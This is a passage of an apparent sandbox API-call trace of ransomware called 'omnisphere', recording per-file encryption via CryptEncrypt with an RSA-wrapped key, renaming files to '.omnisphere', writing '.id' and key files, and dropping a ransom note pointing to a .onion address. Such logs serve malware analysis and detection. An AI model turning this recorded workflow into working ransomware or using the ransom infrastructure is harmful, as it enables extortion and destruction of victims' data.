pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.788] CryptEncrypt (in: hKey=0x1639ae8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.790] CryptDestroyKey (hKey=0x1639ae8) returned 1 [0074.790] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0074.790] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x13755, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.790] WriteFile (in: hFile=0x380, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0074.791] GetProcessHeap () returned 0x1600000 [0074.791] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x282) returned 0x164a368 [0074.791] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zazbvqz_svz5b.flv"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zazbvqz_svz5b.flv.omnisphere")) returned 1 [0074.791] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv.omnisphere.id" [0074.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\zazbvqz_svz5b.flv.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0074.795] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0074.796] CloseHandle (hObject=0x3a0) returned 1 [0074.797] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0074.797] CloseHandle (hObject=0x3bc) returned 1 [0074.797] SetEndOfFile (hFile=0x380) returned 1 [0074.798] FlushFileBuffers (hFile=0x380) returned 1 [0074.801] CloseHandle (hObject=0x380) returned 1 [0074.802] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\ZazBvQZ_SvZ5b.flv" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0074.802] GetProcessHeap () returned 0x1600000 [0074.802] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x164f4d0 [0074.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0074.802] GetProcessHeap () returned 0x1600000 [0074.802] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f698 [0074.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f698, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0074.802] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0074.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0074.802] GetProcessHeap () returned 0x1600000 [0074.802] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162f550 [0074.802] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162f550, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0074.802] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0074.802] GetProcessHeap () returned 0x1600000 [0074.802] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x16685f8 [0074.802] PathCombineW (in: pszDest=0x16685f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0074.802] GetProcessHeap () returned 0x1600000 [0074.802] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1665298 [0074.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.802] WriteFile (in: hFile=0x380, lpBuffer=0x1665298*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x1665298*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0074.802] CloseHandle (hObject=0x380) returned 1 [0074.803] GetProcessHeap () returned 0x1600000 [0074.803] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x164f4d0 | out: hHeap=0x1600000) returned 1 [0074.803] GetProcessHeap () returned 0x1600000 [0074.803] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f700 [0074.803] PathCombineW (in: pszDest=0x163f700, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0074.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.803] WriteFile (in: hFile=0x380, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0074.803] CloseHandle (hObject=0x380) returned 1 [0074.803] GetProcessHeap () returned 0x1600000 [0074.803] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f700 | out: hHeap=0x1600000) returned 1 [0074.803] GetProcessHeap () returned 0x1600000 [0074.803] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f300 | out: hHeap=0x1600000) returned 1 [0074.803] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e1e7e70, ftCreationTime.dwHighDateTime=0x1d4c917, ftLastAccessTime.dwLowDateTime=0x334db2f0, ftLastAccessTime.dwHighDateTime=0x1d4cef0, ftLastWriteTime.dwLowDateTime=0x334db2f0, ftLastWriteTime.dwHighDateTime=0x1d4cef0, nFileSizeHigh=0x0, nFileSizeLow=0x2fea, dwReserved0=0x0, dwReserved1=0xed, cFileName="_kDdpHsuJIdzTzf4Y7D.jpg", cAlternateFileName="_KDDPH~1.JPG")) returned 1 [0074.803] GetProcessHeap () returned 0x1600000 [0074.803] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x1668708 [0074.803] PathCombineW (in: pszDest=0x1668708, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="_kDdpHsuJIdzTzf4Y7D.jpg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg" [0074.803] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0074.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\_kDdpHsuJIdzTzf4Y7D.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\_kddphsujidztzf4y7d.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0074.804] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=12266) returned 1 [0074.804] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x2ac6, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0074.804] ReadFile (in: hFile=0x380, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.804] GetTickCount () returned 0x1152f2a [0074.805] GetTickCount () returned 0x1152f2a [0074.805] GetTickCount () returned 0x1152f2a [0074.805] GetTickCount () returned 0x1152f2a [0074.805] GetTickCount () returned 0x1152f2a [0074.805] GetTickCount () returned 0x1152f2a [0074.805] GetTickCount () returned 0x1152f2a [0074.805] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x1668350) returned 1 [0074.805] CryptImportKey (in: hProv=0x1668350, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639628) returned 1 [0074.805] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0074.805] CryptDestroyKey (hKey=0x1639628) returned 1 [0074.805] CryptReleaseContext (hProv=0x1668350, dwFlags=0x0) returned 1 [0074.805] CreateFileMappingW (hFile=0x380, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2fea, lpName=0x0) returned 0x3bc [0074.806] MapViewOfFile (hFileMappingObject=0x3bc, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2fea) returned 0x3430000 [0074.806] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x1669010) returned 1 [0074.806] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639568) returned 1 [0074.806] CryptSetKeyParam (hKey=0x1639568, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0074.806] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0074.806] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.807] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0074.808] CryptEncrypt (in: hKey=0x1639568, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: 